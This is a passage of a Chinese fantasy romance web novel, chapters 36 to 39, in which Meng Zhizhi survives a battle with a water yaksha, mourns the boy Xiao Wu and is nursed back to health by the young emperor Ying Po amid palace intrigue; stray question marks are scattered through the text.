璧水珠泛出光,作?出回应。这颗鬼物竟然听懂了?他的话,细看在?幽绿的珠子里竟然盘坐着?一个小人形状的水夜叉。 “你的母亲曾同我定下?契约,她用她大半的寿元同我换取从千年深潭中活着?出来的机会。你应该知道,我要的代价不菲。” 黄小五心道:“你想要什么?” “你的命。” 孟枝枝被卷进恶水之中,小桃仙喊道:“抓住我!” 孟枝枝先前全凭着?一股意志力坚持了?下?来,头脑意识早已不清醒,她的指尖只?微微动了?一下?,竟是没有半点反应。 小桃仙飞速窜到她的身下?,用护他剑拖着?她的身子,喊道:“傻狍子!你不准死!你要是死了?,我还怎么替你找师父?你想看到你师父白发人送黑发人吗?我警告你,给我醒过来!” 孟枝枝没有丝毫反应,连呼吸都停滞了?。 现在?她们身处恶水之中,难以逃脱。 小桃仙道:“傻狍子!” 她附身的护他剑发出清脆的咔嚓一声断裂声。 小桃仙快哭了?,道:“傻狍子,快醒过来,你的剑!你不要你的剑了?吗?” 皇宫里。 赢破紧皱着?眉头,他心神不定,额头冒出汗水,眼神四处游移,神神经经,看上?去跟中邪了?一样。 钱喜害怕道:“小陛下?。” 赢破一挥大袖,将桌上?的东西一扫而?光,破口大骂:“都给我滚。” 屋里所有人吓得低头,不敢再说话。 赢破看向双手,手背上?骨骼感?分明,骨头仿佛穿透皮肤,凸显出发光的白色幻痕,骨肉争相分离,看上?去相当诡异。 他字咬得很紧,道:“孟芷!” 第36章 第 36 章 水夜叉张开大嘴, 所有的恶水如画出牢笼形状,最?终汇成一股都吸入他的嘴里。 眼看?孟枝枝和小?桃仙都要被吞进水夜叉的肚子里,蓝倾手握狐火,飞奔过去, 蓝色的狐火如螺旋状缠绕恶水。 小?桃仙一手握着残破的护他剑, 一手抱住孟枝枝, 在恶水之中大喊道:“蓝师兄!枝枝她快不行了, 快来救我们!” 蓝倾将九尾弯刀向下斩击, 企图截断水流,然?而恶水坚硬如铁,斩不断。只见九条尾巴冒出滋滋的声音,洁白无暇的狐毛被染成黑色,恶水与狐火抗争至此, 也没能阻止水流运转。 “快点,再快点,蓝师兄!” 蓝倾眼神锋锐,额头冒出豆大汗珠,他隔着恶水道:“小?桃仙, 别吵了。” 小?桃仙顿时心凉了大半。 蓝倾师兄少见地严肃, 这?意味着什么, 不言而喻。 头顶海波碧光十?色,触摸不到天空, 宛如永远出不去的牢笼。 孟枝枝闭着眼,感觉自己漂流在一条川流不息的河流之上,河水不断将她推走。 她双手交叠在小?腹上, 躺在一只小?舟里,天空中不断降落白色莲花, 莲花花瓣飘落在她的身上。 她飘着飘着,不知道过了多久,前?方有一只青龙在天空盘旋。 耳有神官在念:“孟芷,原白风国彭城郡村人士。父为?村民?,与妻王氏女育有二子,芷为?幼女。后家破人亡,妻离子散。幼女拜于散仙孟慕华名下,现?年?十?五。此生此世?,冤家债主,自消自灭。四生六道,轮回生死。既往东极天界,救苦门庭。超生净土,快乐无量。一去一来,无挂无碍。” 仙乐奏起,神光普渡,白色莲花飘落,河中无数条彩色小?鱼不断蹦跳,似在喜悦欢庆。 孟枝枝感觉自己的身体变得很轻,一阵祥和之意从心而生。她的眼睛闭着,小?舟缓缓滑动,被彩色小?鱼们推动到更深处,前?有神光指引,引向光之来处,而身后皆是万般浮云,不堪回首。 “孟芷,快回来!” 她猛地睁开眼睛。 眼中是幽深碧波,嘴里差点吞进恶水,她连忙屏气。 她见到小?桃仙一只手抓着她的胳膊,另一只手焦急地对她比划着什么。突然?,小?桃仙往下指了指。她这?才看?见他们全都漂浮在空中,地下是水夜叉的上半截身子,伸长两只鬼手使劲抓向她们,它的下半身化成水,螺旋转动着,不断冒出气泡。 整个巨石阵内变成了一片汪洋。 不知道到底发生了什么,云庭也清醒过来,无尘剑插入水夜叉的脖颈,两只鬼手一瞬颤巍,蓝倾连用狐火焚烧水夜叉脖颈的刀伤处。 孟枝枝捏诀,用唇语对小?桃仙道:“帮他们一把。” 小?桃仙点点头。 小?桃仙重?新?幻化附身护他剑之上,孟枝枝持着护他剑冲了过去,一剑刺进了水夜叉的天灵盖。 水夜叉浑身僵直,嘴里咕噜道:“这?……剑……” 它的上半身砰然?炸开,引得巨石阵里所有巨石尽碎,它的身体化作?万千水滴,下了一场瓢泼大雨。 四人坠落地面,堪堪稳住,身上湿透。 孟枝枝被小?桃仙一把搀扶住,她声音虚弱,问道:“小?五呢?逃出去了吗?” 小?桃仙脸色一变:“枝枝,小?五他、他死了。” 孟枝枝宛如晴天霹雳,她睁着双眸,看?见自己脖子处的璧水珠散发着幽绿的光芒,“这?是……小?五的?” 小?桃仙解释道:“不知为?什么它选择了你,我们试了各种办法都取不下来。我们谁都不知道璧水珠里居然?还有一只水夜叉。是小?五和璧水珠的水夜叉做了交易,让我们能够打败水夜叉,代价就?是、就?是他的命。” 孟枝枝一把抓住脖子上的璧水珠,往下一拉,果真怎么也扯不下来。她看?见璧水珠中隐约现?出有一只水夜叉盘坐着,周身缠着白色长袍,右手上套有珠玉臂环,它的眼睛一睁一闭,似笑非笑地看?着她。 “都是它说的?” 小?桃仙点了下头。 孟枝枝对着璧水珠里那只水夜叉发怒道:“从我的身上滚下去,把小?五还回来!” 璧水珠里的水夜叉突然?变得透明,一下消失不见,璧水珠霎时变成一颗普通的幽绿色珠子。 小?桃仙竟然?一时没扶住孟枝枝,让她挣脱了。 只见孟枝枝拉扯着璧水珠,声嘶力竭道:“你出来!你给我滚出来!” 云庭走了过来,头上的鱼尾银冠散发着光华,周身肮脏的血渍竟半分不沾染他的脸,一把雪白的无尘剑别在腰间,与之前入癔的他简直判若两人。 “璧水珠是鬼物不错,但它却是由一只受诅咒封印的水夜叉转化而来。” 孟枝枝偏过头,牙根紧咬:“你一直都知道?” 云庭漠然地看着她,“是。” 这?副高高在上的样子,与前?世?有什么分别! 孟枝枝冲上前?去,一把被小?桃仙环抱住,“枝枝,冷静点,小?心你的伤。” 孟枝枝对云庭道:“你是故意的。你知道璧水珠里那只水夜叉的来历,也知道它是怎么被带出来的。你利用一个孩子?!” 她早该想到,云庭嫉恨妖邪,对各种妖邪早就?了如指掌,没有人能比他更加用心去了解这?些东西。比起她只从书中知道璧水珠,云庭斩杀妖邪多年?,如此强大的水夜叉一族的背景,他又怎么可能不清楚? 云庭道:“他是妖。妖邪相争,互相利用,自古以来便是如此。” 孟枝枝道:“小?五利用了谁?他从来没害过人。我答应了他娘亲,要把他送到玉坤山上学艺,你却送他去死!” 云庭厉声道:“若不是他娘私自把璧水珠从千年?深潭里带出来,水夜叉不会被诱至白玉州残害了那么多人,这?债该由他们母子偿还。” “你!”孟枝枝满腔恨意,“在你心中,只要生而为?妖,便是错的。” 蓝倾从旁边走了过来,冷着一张脸,对云庭道:“她说的都是真的?” 云庭避而不谈:“蓝倾,此次你有功劳,千霄宫承你这?份恩情,不日之后,会有弟子送灵药宝剑上玉坤山。” 蓝倾伸出两指,摇着手腕,两指在半空中颤了颤,“云庭,你可真他妈的狗。爷爷不陪你玩了!你们千霄宫的人就?没一个好东西。你敢让人上山,爷爷就?把他们全部吃掉。”他露出狐牙呲了一下,愤然?挥袖,不一会儿飞不见影了。 云庭撇了撇眉头。 他对孟枝枝道:“你如果想和水夜叉做交易换回那只小?狗妖,我可以告诉你,这?选择并不明智。你也是修道中人,该知道鬼族没有造物的能力。” 孟枝枝讥讽地笑了一下,“如果不是因为?璧水珠选择了我,你也不会这?么被动,想劝我不要用它。” 她将小?桃仙轻轻推开。 小?桃仙焦急道:“枝枝……” 孟枝枝站在云庭跟前?,仰头看?着他,眼神不让偏毫,道:“我知道小?五不会再回来了。但你的傲慢,你对妖怪的偏见……你毫无悔意。妖有好妖、坏妖,人也一样。万物生灵,各有尊严,不容践踏。云庭,你当真以为?不会有报应?” 云庭看?了她许久,冷道:“我只信自己。” 孟枝枝便知和这?人完全无法沟通,她转过头,对小?桃仙道:“我们走。” 小?桃仙立马上前?搀扶起她。 后面传来云庭的声音,“留下你的名字。” 孟枝枝顿了脚步,“南元国皇都女官,孟枝枝。” 她转过头对他,目光斩钉截铁。 “云庭,你要记得我。我会亲眼见证你后悔的那天。” 说罢,她便开始猛烈咳嗽,肺都要咳出来似的,整个胸腔都痛得厉害。 小?桃仙急道:“傻狍子,你快别说话了。我带你回去养伤!” 她抱住孟枝枝,两个人飞远去了。 白玉城中,一派繁荣复苏景象。大批仙门弟子帮助恢复城中秩序,他们所到之处,皆有百姓列队欢迎。 在这?仙衣飘飘的弟子中,樊盈绣也在其中,她牵着一匹红枣骏马,头戴白色幕离,今日也穿着素色衣衫,只是素衫之下还用银线绣了大朵牡丹模样,远看?上去竟与仙门弟子无二。 “看?看?我们当铺,这?修补得那叫一个焕然?一新?啊,都是仙长们修的。大恩大德无以为?报,各位仙长赶快来我家饮口水解解渴吧!” “我家还有上好的普洱茶!劳烦仙长也来我家看?看?,我家的猪圈塌了,跑了大半出去,剩下的都被压死了,仙长帮帮我寻一寻跑出去的猪,要是我的猪找不到,我们一家人可怎么活啊。” “还有我们!我们准备了酒,还有下酒菜,仙长来我们家看?看?,我们家也损了不少东西。” “……” 几个千霄宫辈分低的弟子饱受热情对待,平日私下嬉戏玩闹之态也收了起来,显现?出几分端庄自持。 其中一位弟子道:“为?民?做事是应该的,诸位客气了。还请各家各户先回家商量好清单,家中哪里需要修缮,需要帮助,一并写了交给我,到时候我们自会去修。” “多谢啊,多谢各位仙长。”百姓们声音此起彼伏。 又是好一阵谢,才遣散了人群。 几个弟子背过身又道:“你刚刚怎么都应承下来了!我们哪有这?个功夫去修他们那些不值钱的破铜烂铁?” “还不是云大师兄下令,让我们一定要把这?些凡人们安顿好,要帮助白玉州恢复民?生。你说云大师兄的令,谁敢不从?” “但是我们人手不够啊,还要去收拾那些恶妖的尸体,好多弟子的法剑都坏了得去修,还得去采药给伤重?的弟子治病,我们自己都忙不过来了,哪有闲心管他们凡人啊?” “他们玉坤山的人呢。都走了?” “早就?走了,收拾完他们的东西就?回去了。他们妖修恢复力强,我瞅见好几个伤重?的,没几天都全好了,哪像我们,不得躺个十?天半个月。” “这?群妖修,都是同道中人,也不知分担一些。亏他们还是大宗,一点大宗气度都没,还说什么修仙之人不应和凡人牵扯太深,都是鬼扯。要我说还是我们千霄宫太实诚,管邪管妖,连凡人也要管。这?可怎么办,我们就?这?么几个人,怎么去管这?城中上千上万人……” 几个弟子都沉默了下去。 “各位师兄别急,我已?唤人前?来相助。此地有我,各位师兄放宽心去做更重?要的事。”樊盈绣脸上的白色幕离轻轻晃动,隐约露出半张脸。 几个千霄宫弟子脸上一喜。 一位师兄不自信道:“县主……此事当真?” 樊盈绣道:“自然?,各位师兄也知我好歹也是个县主,手中尚有余人余钱。我已?同城主说好,到时候便有各种物资直接送进白玉州,城主还会派来千位小?吏差遣,以供城中百姓休养生息,重?建家园。” 几个弟子纷纷抱拳,其中一人道:“多谢县主,此恩情我们记住了。” 樊盈绣颔首浅笑,道:“说恩情太过严重?了,我也是南元国的人,自当尽一份力。” “那我们先行一步。” 樊盈绣点头,“诸位师兄一路顺风。” 一瞬间,那几人御剑而走。城中百姓见仙人飞走,不由地惊慌起来,当下议论纷纷。 樊盈绣安抚道:“各位请稍安勿躁,我千霄宫绝非不信守承诺,接下来由我来全权负责此事,你们有任何事皆可找我。” “那要是你跑了怎么办?” “对啊,我们都不知道你是谁!” 樊盈绣掀开白色幕离,露出一张秀美的脸,额前?红痣鲜艳动人。 “南元国县主樊盈绣,各位可认清了我?” 第37章 第 37 章 白玉城中, 平安客栈。 一个坐在栏杆上的翘腿白衣少年,看?着?楼下被众人包围的樊盈绣道:“这个樊盈绣上赶着?卖力,千霄宫的人都走?干净了,也不知道她?图什么呢。” 突然, 他的头被猛拍了一下。 他回头一看?, 便怂道:“小师姐。” 小桃仙手里正?小心捧着?一碗药, 怒气冲冲道:“白桃, 我?是让你来护法的, 不是叫你来看?热闹。” 话音刚落,只听房间里闹出动静,小桃仙连忙推门而?入,手中的汤药泼到?皮肤上也不觉得烫。 孟枝枝躺在床上,紧闭着?眼, 嘴角弥留着?血渍,看?样子刚猛吐完鲜血后,昏迷不醒。 “她?的伤势太重了。小桃仙,我?不行了,救不了了。”为孟枝枝疗伤的是一个穿着?黄衣的小姑娘, 只见她?脸上浮着?虚汗, 化形回一颗黄色的果实。 小桃仙捡起地上的那颗黄色果实, 白桃心事重重道:“黄桃那么擅长治疗之术,都变回原形了, 这怎么办?” 小桃仙将药塞到?了白桃怀里,道:“拿着?。” 白桃拉住她?的胳膊,道:“你想自己来?你身上也有伤呢。” 小桃仙道:“我?是妖精, 没那么容易死。” 小桃仙上前,将孟枝枝扶直了之后, 正?对着?她?。她?双手积聚灵气,捏成莲花状,轻轻拍放在孟枝枝的双手上。房间四周灵气波动,空气顿时扭曲了起来。 “白桃,给我?护法。” 白桃立马施展结界,将整个房间冻住,不让他人感觉到?房间的异常之处。 小桃仙紧皱着?眉头,灵力在双手之间疯狂涌动,她?长出长长的红色眼睫,棕色的头发越来越长,妖形毕现。 孟枝枝的脸上骤现痛苦。 白桃见她?印堂中有一道黄印隐隐作?现,道:“她?堕入生死线了。生死线一跨越,死生既定。” 小桃仙立马加大法力输出,豆大的汗珠在额头滴落,道:“枝枝,挺住啊。” 孟枝枝不知现实,她?又乘着?小舟,来到?了那一片仙境之中。 泛蓝的湖水,小彩鱼跳跃,远在东方霓虹之下青龙在盘旋。 仙乐在耳边响起,她?能感受到?风与莲花清香拂过脸庞。 她?从未见过如此?美?的地方。 一低头,指尖被金色的灵气缠绕,灵气飞旋,洒在她?黑色的长发上。她?才发现,自己穿着?一身洁白的衣服,披着?长发,这次她?清楚地看?见湖水中自己的倒影,气色红润,不似伤重之人。 她?站起身来,踏进湖水之中,她?竟然能站在水上不倒,彩色的小鱼儿一直围在她?脚边跳跃。 她?好奇道:“你们?是精灵吗?” 彩色小鱼朝一个方向不断跳跃。 “是让我?往这个方向走?吗?”孟枝枝跟着?它们?走?去。 白桃道:“她?快死了。她?额前方印一旦成形,就说明跨越了生死线。” “逼逼叨叨没完了,”小桃仙换了个势手,气喘吁吁,声音低沉,“我?知道。” 白桃忧心忡忡道:“小桃仙,你想怎么做?” 小桃仙目光落在孟枝枝脖子上的幽绿色珠子,她?嘴角都是白汗,道:“你也不想枝枝死吧?告诉我?,该怎么救她?。” 璧水珠乍然折射出幽绿色的珠光,珠光弥漫在空气里,逐渐形成了带状,冲破窗户,一直朝一个方向蜿蜒盘旋而?去。 小桃仙的瞳孔中倒映着?光芒,“好。我?信你一次。” 大街之上。 云庭脸冷如冰,道:“你怎么在此?处,其他人呢?” 樊盈绣牵着?枣红马,道:“大师兄,因我?更?了解此?地,就前来自告奋勇助各位师兄姐重建白玉城。师兄姐们?见我?做事可靠,便将此?事先托付于我?,这会?儿正?忙着?去运送百姓们?需要的物资了。” 云庭虽然脸依然冷着?,但明显感到?他周身气场舒展了几分。 他道:“共有多少人伤亡?” 樊盈绣道:“一共七十?八人死亡,两百六十?九人受伤。大师兄放心,我?已经?优先派人去帮这部分百姓,银钱、住所、吃食都有专人看?顾。” 云庭道:“有多少所需要修缮的房屋?” 樊盈绣掏出一张长长的卷轴,上面写满了文?字。她?查阅了一眼,道:“一共九百零十?所。” 云庭道:“把卷轴给我?,我?去。” 樊盈绣脸上愕然,“此?事怎好劳烦大师兄亲自去?” 云庭将手伸了出来。 樊盈绣不好多说什么,将卷轴递了过去,道:“让我?也跟着?大师兄一起去吧,我?对此?地更?为熟悉,能为师兄带路。” 云庭将卷轴收入袖中,表示默认。 他忽而?抬起眼眸,樊盈绣顺着?他的目光冲天空看?去,却什么也没看?见。 “大师兄?” 云庭注视了天边许久,回过头来。 “走?吧。” 夜露繁重。 少年皇帝穿着?一身白衣,他头枕着?额头,撑在桌上,两眼闭着?,黑色的长睫在白皙的脸上落下一片阴影。 他正?在假寐。 屋外传来小太监的低语,“大总管,已过了子时,今夜要为陛下掌灯吗?” 钱喜默了一会?儿。 小太监急道:“樊大人说这里阴气重招、招鬼,让我?们?过了子时便走?。大总管……” 钱喜翘起兰花指狠狠弹了小太监的额头,骂道:“蠢货,吵醒了陛下,杂家把你舌头割了。” 小太监连忙捂住嘴,一脸惊恐。 钱喜看?了一眼屋内,万般纠结。 前些日子,他再?度回来侍奉,一进门就被赢破用拂尘勒住脖子,要不是樊大人及时赶到?,一番威胁,他差点就死在小陛下手下了。这些日子他是小心翼翼、卑躬屈膝,唯恐哪点服侍不周。 钱喜弓着腰抵着门道:“陛下,奴才先带这小的回去了。” 门内之人毫无动静。 钱喜毕恭毕敬对着?门行完了礼,对着?身后压低了声音道:“给杂家小点声,别惊扰了陛下。” 一行人刚迈进院落,一阵阴风刮动,四处传来呜呜咽咽的声音。 钱喜被风吹得东倒西歪,他脸色大惊,尖嗓催促道:“快走?,快走?。” 小太监赶紧扶着?钱喜,二人跌跌撞撞过了桥,头也不回。 那阴风狂刮,一下将房门撞破。风将赢破的白色衣袍吹起,那垂地的长发和?白色发带宛如柳条似地乱舞。 赢破依然紧闭着?双眼,脸上一片阴翳。 细听,他嘴里正?念叨着?。 “……孟芷。” “……孟芷。” “孟芷,别过去!” 他陡然睁开眼睛,惊地站了起来。 他四处走?动,来到?庭院之中,看?皎月高挂,脸色阴沉。当他目光投向孟枝枝之前住过的西厢房,见里面烛光晃动,脸上愕然一片。 下一刻,他拔腿而?跑,奔向西厢房。 推门而?至,见那轻纱床上躺着?一个人。 他走?近细看?,见孟枝枝安静地躺在那里,双手交叠,面色安宁,就像睡着?了似的。她?额头之中隐隐有一道黄印,不知为何,那黄印令他心中顿生不喜。 他用手去碰那黄印,低声道:“孟芷,醒醒。” 小皇帝较劲般地一遍又一遍地喊。 那黄印一亮一隐,就像孱弱的烛火。 孟枝枝的眼缝微动,一双澄亮的眼眸迷蒙地被唤醒,眼中失神,更?像还坠在另一个世界里。 她?不确定地轻声唤了一句,“赢破?” 小皇帝立马扑上前,紧紧抱住了她?。 这一抱,让孟枝枝彻底醒了过来,还来不及反应,身前之人已经?有了动作?。 赢破下巴紧贴着?她?的肩膀,低沉道:“你真的回来了。” 孟枝枝攀上他的胳膊,努力将他拨开,看?着?他那双纯黑的眸子,她?道:“你弄疼我?了。” 赢破象征性地松了下手,又抓得更?紧了,“什么时候回来的?” 孟枝枝扯回手发现扯不动,道:“你先放开我?。” 孟枝枝转念一想,道:“不对,我?怎么突然回来这里,难道我?还在梦里?” 她?想从床上下来,刚一拨拉被单,喉咙里像灌进了冷风,捂住胸口猛咳。 赢破接住她?,一把将她?抱了回去。 “怎么回事?” 孟枝枝将手拿开,手心和?嘴角残留着?鲜血,这鲜艳的红深深刺进了赢破的眼里。 “孟芷!” 孟枝枝嗓子微哑道:“大概我?还是在做梦吧,这一仗打得我?好累啊,我?不想再?打了,小五……小五……”她?说话的声音越来越小。 她?靠在了赢破的胸膛之中,彻底没了声音。 赢破眼中冒出红血丝,大喊道:“孟芷。” * 天空乍亮。 孟枝枝一睁开眼睛,就看?见小桃仙和?冥漆正?坐在自己的床头。 她?不是在做梦,而?是真的回来了! 她?刚要说话,又是一阵咳意涌上喉间。 小桃仙道:“别说话了,你好好躺着?养身体。好不容易捡回来的命,可不能丢了。来,吞下这枚丹药。” 她?乖乖照做,吞下药丸。见自己身处别院的西厢房里,心中满是疑问。 冥漆道:“枝枝,是小桃仙送你回来的。你伤势太重了,进了生死门,差一点就跨过生死线了,还是那个鬼皇帝救你回来的。” 孟枝枝心中一动,她?指了指外面。 ——他人呢? 小桃仙踹了冥漆一脚,“冥漆,你怎么这么多话,给老娘一边呆着?去。” 冥漆委屈地摸着?自己的腿,给小桃仙挪了位置。 小桃仙坐到?她?床头道:“我?不知道那个皇帝是怎么做到?的,但你额头上的黄印昨晚确实不见了。” 她?压低了声音,道:“是璧水珠告诉我?回到?这里,你会?有救。” 孟枝枝微张了下唇,无声道:我?好像听见了他的声音。 小桃仙道:“什么?” 孟枝枝又是无声道:我?在那边,听见他在叫我?的名字。 她?指了指自己的耳朵。 小桃仙愣住。 冥漆这时候慌张道:“小桃仙,来了,来了。那个鬼皇帝来了!我?们?快走?吧!” 小桃仙对孟枝枝道:“我?们?不方便在外人面前现身,你乖乖躺着?,我?和?冥漆会?在没人在的时候来看?你。” 孟枝枝点了点头。 小桃仙拉住冥漆,一个转身,两人消失原地。 这时,门被人推开。 第38章 第 38 章 门口处, 赢破提着?一个食盒,一见孟枝枝醒了?,步履急匆匆地赶来。 孟枝枝将目光投在他手中的食盒上?,又慢落到他的脸上?。 小皇帝已经坐在床边, 他将食盒放在一边, 一只手伸过去查看孟枝枝身上?的伤。他勾着?脖子, 眼神直直地去看, 头时不时侧过, 头发黑如瀑布般披散开来。 孟枝枝连连后退,双手摇摆着?。 ——我?没事。 ——过几天就会好的。 小皇帝将手伸了?过去,他指尖滚烫的温度停留在她的颈上?。 他那双如野兽般懵懂纯净的眼睛,凝望着?她,唇角微微下撇, 锋锐的唇线像针笔画出来的一样。 他嘴角抿着?,像一根紧绷的弦。 此时,眼前递来了?一碗肉粥,那双修长纤白的手指正执在汤勺之上?,透明的指甲干净莹润, 鲜活得不像样子。 汤勺就递到了?她的嘴边。 小皇帝脸上?略有狼狈, 道:“我?已经吃过了?, 你快吃。” 孟芷的目光落在那热腾腾的肉粥上?,温暖的白汽, 让她双眸氤氲。 赢破舀了?一勺,递到她嘴边,她吃下了?。 尝到味道的一瞬间, 她双眸一震,呆呆地看着?小皇帝。 小皇帝脸上?不知为何更加狼狈, 站起身,用?张牙舞爪的口吻道:“是那群狗奴才做得不好吃?孤去宰了?他们!” 眼神却心虚地眼神飘移开来。 经过了?刻骨铭心的前一世,孟枝枝怎么可能不知道,这个粥是小皇帝亲手做的。 赢破这个人嘴硬得要命,不愿承认的事情?打死都不认。因为这一点,他们之间有过许多的误会。前一世的事,孟枝枝不想再?去回忆,就算是误会又怎么样,心中经历过血淋淋的痛都是真的。 她从?没哪个时刻像现在感到迷茫。 她对他说过别等她了?,他为什么还要对她好? 赢破讨厌下厨,无比讨厌。他是皇帝,却是一个不被?任何人尊重的小皇帝,亲自?下厨这件事只会让他觉得更加屈辱。这点她比谁都清楚。 她无声地说。 ——好吃,你不要责怪他们。 她看见,赢破用?手背碰了?碰唇边,唇角忍不住翘了?几分。 手背一落下,他立马板着?脸,一本?正经道:“既然如此,孤待会儿会好好赏赐他们。” ——好。 孟枝枝点头。 赢破又递来一汤勺,孟枝枝低下头用?唇去碰。 屋外房顶之上?,一只花枝鼠身上?沾着?一片桃色花瓣。 “小桃仙,为什么你不告诉枝枝是小皇帝割下了?自?己的血肉才救了?她……” 小桃仙道:“笨蛋,枝枝刚闯过死门关,你想让她为这事费心神吗?” “可是……要是枝枝以后发现了?怎么办?小皇帝直接喂生肉给她吃……那肉没有问题吗?会不会有什么后遗症。” 小桃仙道,“不管怎么样,好歹枝枝活下来了?。先别想那么多,我?会再?替她寻仙药回来。” 冥漆心知此事已定,便跳转话题,“我?听说樊隆派人把樊二小姐带回皇宫,今夜她就回来了?。” 小桃仙不解道:“那又怎么样?这关我?们什么事?” 冥漆欲言又止,不知从?何说起,只能说一句:“没、没什么。” 小桃仙回到皇都之后,总听到有人说起樊盈绣出落得亭亭玉立,玉坤山的一些妖修私下还夸樊盈绣有仙人之资,她误以为冥漆也动了?心思,酸溜溜道:“我?要去替枝枝寻药了?,哼!” 说罢,她便幻化成一股花瓣风离开了?,徒留冥漆在后面追她。 “小桃仙!小桃仙!等等我?。” 孟枝枝出现在别院的消息没过多久就传了?出去,就是她想瞒也瞒不住了?,可她现在的身体?不宜行动,只能暂时呆在此处。 夜间,她点了?灯,正在看书,一箱又一箱的东西接连被?抬进了?西厢房。 钱喜面露喜色,掐着?兰花指道:“女仙大人,您看看这些,可还满意?” 孟枝枝顺着?他的兰花指看了?过去,除了?几盏西域进贡的琉璃宫灯,紫木妆台,还有一些上?好的笔墨纸砚,一展小巧的翠竹屏风里还挂着?一些五颜六色的衣裳。 她坐在桌前慢悠悠地转过头来,满脸狐疑,道:“钱总管,你,最近发大财了??” 钱喜拉扯起的脸皮僵得颤起来,脸上?的粉扑扑下落,转而赔了?个笑,道:“您折煞奴才了?,奴才哪有那么大的本?事?这些都是陛下的心意。” 这让孟枝枝实?在不知道该从?何说起。她作?为南元国有品阶的女官,虽然也是两袖清风,但每月好歹还有点俸禄,小皇帝可比她还穷,樊家?不可能给他任何壮大的机会。 他哪里来的钱?这么多东西一看就很值钱。 莫不是他威逼利诱,恐吓了?钱大总管? 自?从?上?次暴露了?法力之事,钱喜那饱受惊恐、瘫倒在地的神情?一直印在她的脑海里。 别院的太监、侍卫都换掉了一批,唯独钱喜还在,想来也是受樊家?指使?。当别人的刀也并不容易,得有强大的内心素养才成。 孟枝枝看向钱喜的眼神不由地带上了一丝丝怜悯,道:“我?知道了?。布置得挺好的,不用?再?布置了?。” 钱喜笑得眼睛眯成一条长缝,道:“欸,女官有任何需要的,随时使?唤奴才,奴才先告退了?。” 孟枝枝点点头。 圆月高挂,院子里挂起的灯笼被?风冲得晃动,烛火忽明忽灭,阴冷的湿气萦绕着?这里。 孟枝枝感觉口干舌燥,一阵痒意从?喉咙升起。 别院的阴气很重,人长期生活在这里容易生病。她刚刚大病初愈,最禁不得这潮湿的阴风。 她给自?己倒了?杯茶,刚一饮下,就见自?己窗前倒映出了?一个人影。 “谁?” 刚话音落下,人影便开口说话了?:“小孟女官,是我?。” 孟枝枝心沉了?下去,“樊大人,这么晚来别院找我?,所谓何事?” 樊鸣一双眼落在窗前的倒影,“可否出来相谈?” 孟枝枝披了?件斗篷,推门而出。 樊鸣见她穿着?一身红色斗篷,头带兜帽,衬得人脸色更白了?些。她一双如水的眼睛微微发红,鼻尖也是红的,似是刚刚咳嗽留下的痕迹,她的嘴角轻抿,看着?不大高兴。 “这件红色斗篷确实?很衬你。” 孟枝枝不知道他这样说是为何意,钱喜派人搬来的东西,他应该一清二楚。 “樊大人来见我?究竟是为了?什么事?” 樊鸣微微一笑,说话绵里藏针:“小孟女官本?领大得很,能悄无声息地出现在别院里。樊某佩服。” 孟枝枝道:“樊大人,打开天窗说亮话吧。你们到处寻我?是想找我?的麻烦,那现在就动手。” 她将身微侧,抬起凌厉的眼神。 樊鸣道:“小孟女官,我?们之间何必如此剑拔弩张?樊家?从?来都是皇室的忠臣,我?们这样也是无可奈何,先帝末年?沉迷丹药,子嗣甚少,若我?们真有不臣之心,为何不直接取代了?陛下?如此大费周章,都是为了?保护陛下。” 孟枝枝道:“你到底想说什么?” 樊鸣道:“小孟女官应该还记得我?曾说过,陛下不同于常人。” 孟枝枝眼眸一抬。 樊鸣低头浅笑,温润如玉,道:“看来你早已知晓,那我?就不多说废话。” 当他再?次抬头时,眼神变得和之前有所不同,他的声音充满蛊惑性,道:“樊某敬佩小孟女官,相信舍妹也会赞同。舍妹与陛下两小无猜,陛下经常惦念舍妹。小孟女官应该记得舍妹,是舍妹将你带出宫去的。” 孟枝枝敛起神色,“我?很感激樊县主。” 樊鸣一步一步靠近她,低声道:“如今你身怀龙嗣,还当小心。” 孟枝枝视线微偏,抬起头看他。 赢破为了?让她留下,竟然编造了?这样的谎言。 樊鸣闻到她身上?的桂花香,觉得心旷神怡,接着?说道:“有件事想告诉你。陛下从?小便说想娶舍妹。” 孟枝枝脸两侧的黑色碎发被?吹起,衬得整个人脸上?的血色更白了?。 “小孟女官,舍妹与陛下相识数十年?,陛下对舍妹如何,你应该有所感知。我?只能言尽于此。” 孟枝枝喉间痒意迸发,她咳嗽了?起来,一个站不稳。 樊鸣立马接住她,一只手扶住了?她的胳膊。 “你们在干什么!”小皇帝的声音传了?过来。 赢破来得气势汹汹,他一把推开了?樊鸣,樊鸣脸色阴沉了?下去,空了?的手慢慢背到背后去。 孟枝枝咳得上?气不接上?气。 “不是让你屋里好好躺着?吗?”赢破脸又冷又臭,但扶住她的手却紧紧握着?,“别说话,孤带你回去休息。” 孟枝枝咳得眼眶里的泪都是粉红色的,她拼命克制住,让自?己的症状看起来尽量轻一点。 赢破的脸越来越冷,声线听上?去十分冷漠道:“她如今怀了?龙嗣,你们都给孤滚,少来影响她。” 他扶着?她转过身。 回了?屋内,他将她扶到床上?,粗鲁地将她斗篷扯到地上?,将她推进了?被?窝里,然后像捆粽子似的把她包裹了?一层又一层。 孟枝枝勒得喘不过气,幽幽道:“别盖了?,我?快热死了?。” 小皇帝手一撒,整个人坐在床边闷不做声,从?他宽肩窄腰的背影看着?像是赌气,却莫名感觉他又很委屈。 孟枝枝一时不知道该说什么,她慢慢扯走身上?厚厚的被?子,轻轻掀开一个角。 他的身体?又不由自?主往里面靠,似乎想堵住那个缺口。 孟枝枝触到他身上?的寒气,他脸白皙得像经年?不化的雪,唇却不管什么时候都很红,披着?瀑布如墨的长发,冰肌玉骨,又是穿的白衣。 赢破目光盯着?那窗前倒影,“你快睡,我?会看着?你。” 孟枝枝是真的累了?,她闭上?眼。 半夜,寒气逼人。 孟枝枝睁开了?眼睛,看见赢破蜷缩成一团,看样子他很冷。 她叹了?口气,还是分出一半的被?子替他盖上?。 他睡得一脸平静。 明明长着?一张人畜无害的脸,怎么会有那么多的鬼心眼呢? 第39章 第 39 章 白日里的?别院, 阴气淡了些,雪融般的?太?阳折射出暖光,但打在人身上的?温度依然是?冷的?。 孟枝枝正坐在石桌前沏茶,她?不经意间将袖下一颗药丸投递进茶水里, 药丸化水于无形。 她?喝下一盏茶, 身体里灵气流转。 不远处, 一群太?监和侍卫正驻守着?别院, 他们皆是?樊鸣的?眼线。 她?背对着?他们, 压低了声音道:“冥漆,谢谢你还有小桃仙为?我寻来的?药,我感觉不咳嗽了。这里耳目众多,我无法自由?出入此?地,多亏了你们。小桃仙今天?怎么没来呢?” 冥漆隐了身形, 